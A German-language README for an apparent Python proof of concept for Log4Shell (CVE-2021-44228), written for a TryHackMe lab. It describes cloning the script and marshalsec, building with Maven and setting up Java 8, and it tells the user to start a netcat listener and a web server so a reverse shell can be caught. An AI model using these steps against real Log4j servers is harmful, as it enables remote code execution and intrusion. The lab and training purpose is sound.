
Python-Proof-of-Concept für CVE-2021-44228 (Log4Shell), das die Ausnutzung über einen präparierten Java-Payload automatisiert, mit argparse-Optionen für anpassbare GET-Anfragen und Reverse-Shell-Zustellung.
Dieses Python-Skript wurde erstellt, während ich an dem TryHackMe-Raum für Log4j gearbeitet habe. Obwohl es mit Standardvariablen für diesen Raum erstellt wurde, habe ich argparse verwendet, um das Skript für eine GET-Anfrage vielseitig zu machen. Alle notwendigen Variablen können mit verschiedenen Optionen geändert werden, siehe -h für weitere Informationen.
Nur mein Skript wird hier gehostet. Es erfordert zwei weitere Downloads, um ordnungsgemäß zu funktionieren, für die ich Links angeben werde. Die Einrichtung der Ordner, wie ich sie durchgeführt habe, ermöglicht es dem Skript, ohne großen Aufwand ausgeführt zu werden. Erstellen Sie zuerst einen log4j-Ordner (oder einen beliebigen Namen), klonen Sie dann dieses Repo und verschieben Sie die poc.py in /log4j/.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
Als nächstes klonen Sie marshalsec in dasselbe Verzeichnis, das Sie gerade erstellt haben. Und bauen Sie es dann mit Maven.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Schließlich benötigen Sie einen Download einer Version von Java 8. Für dieses Skript und der Standardwert für -j ist 'jdk1.8.0_20'.
Das neue Verzeichnis sollte nach dem Extrahieren wie folgt aussehen.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
Nach Abschluss dieser Einrichtung. Beachten Sie, dass Sie, falls Sie eine andere Java-Version verwenden möchten oder müssen, dies mit -j NAME_OF_JAVA_FOLDER tun können.
Hilfemenü

Im Skript ist der Payload aus dem THM-Raum enthalten. Ändern Sie die IP/Port auf das, was Sie verwenden möchten.

Starten Sie einen Netcat-Listener, um die Shell auf dem im Java-Payload angegebenen Port zu empfangen.
Starten Sie einen Python-Webserver auf Port 8000.
Beispielbefehl:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
Beispielausgabe und Reverse-Shell:
